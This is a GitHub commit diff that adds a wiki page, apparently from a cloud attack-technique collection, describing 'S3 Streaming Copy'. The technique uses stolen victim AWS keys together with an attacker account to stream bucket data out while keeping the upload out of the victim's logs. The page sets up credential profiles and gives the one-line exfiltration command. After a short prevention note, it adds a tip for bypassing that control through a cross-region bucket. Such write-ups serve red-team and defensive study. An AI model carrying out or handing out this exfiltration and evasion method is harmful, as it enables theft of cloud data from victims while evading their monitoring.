-
-
Notifications
You must be signed in to change notification settings - Fork 216
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #246 from houey/patch-1
Create s3_streaming_copy
- Loading branch information
Showing
1 changed file
with
50 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,50 @@ | ||
--- | ||
author_name: Houston Hopkins | ||
title: S3 Streaming Copy | ||
description: Stream copy standard out to standard in with AWS S3 Cli utilizing multiple profile to avoid detection/logging in the victim environment | ||
hide: | ||
- toc | ||
--- | ||
|
||
# S3 Streaming Copy | ||
|
||
Shout Out to Janardhan Prabhakara for showing me this all those years ago! | ||
Note: This technique is a Bring Your Own (BYOK) attack. | ||
Requirements: a shell, terminal session, command prompt, a victim's AWS Access Key or STS token, an attacker AWS key and bucket to land in a separate account. | ||
|
||
Why would use this? | ||
In many environments AWS->AWS traffic is largely unfiltered and extremely full of noise. However, you may find a key that can GetObject, but not PutObject. Or perhaphs, more likely, you would like to hide your putObject command. | ||
|
||
If you have found your way to a shell on an EC2 Instance of the victim your commands will be coming from an expected/trusted network which is even less likely to be detected. | ||
s3 Streaming Copy can also be used from any terminal with CLI access. | ||
|
||
When this attack is perfomed the GetObject call is recorded in the victim cloudtrail dataevents (if enabled, aka hardly ever) But the PutObject call is recorded in the attacker's cloudtrail. | ||
|
||
Step 1: setup an profile in .aws/credentials for the ATTACKER credentials. These are credentials from your attacker controlled account aka not the victims credentials | ||
``` | ||
[attacker] | ||
aws_access_key_id = <attacker_key_id> | ||
aws_secret_access_key = <attacker_secret_key> | ||
``` | ||
|
||
If you have victim credentials native to EC2, running as an instance profile you can skip this next step if you want. | ||
|
||
create a profile for your VICTIM credentials. These are the keys you attained with access to the victim's aws enviornment. | ||
``` | ||
[victim] | ||
aws_access_key_id = <victim_key_id> | ||
aws_secret_access_key = <victim_secret_key> | ||
``` | ||
|
||
When using the AWS CLI you can utilize the --profile to specify the specific profile from the credentials file. | ||
|
||
And here is the s3 Stream Copy (for a single file) | ||
``` | ||
aws s3 cp --profile victim s3://victim_bucket/juicy_data.txt - | (aws s3 cp --profile attacker - s3://attacker_bucket/juicy_data.txt ) | ||
``` | ||
note that you breaking the command and switching the profile context mid copy such that standard out writes to standard in. | ||
|
||
Prevention: | ||
A well known, but not very common, way to prevent this is by mandating egress through a VPC Endpoint and applying a VPC Endpoint Policy that denies any request that does not match the principalOrgId. | ||
This is becoming more common with the popularity of [Data Perimeters](https://docs.aws.amazon.com/whitepapers/latest/building-a-data-perimeter-on-aws/appendix-2-vpc-endpoint-policy-examples.html) guardrails | ||
If this doesn't work it possible the VPC Endpoint policy is in place, try making the attacker destination bucket in another AWS Region. Cross-region calls will not typically traverse a VPC Endpoint. |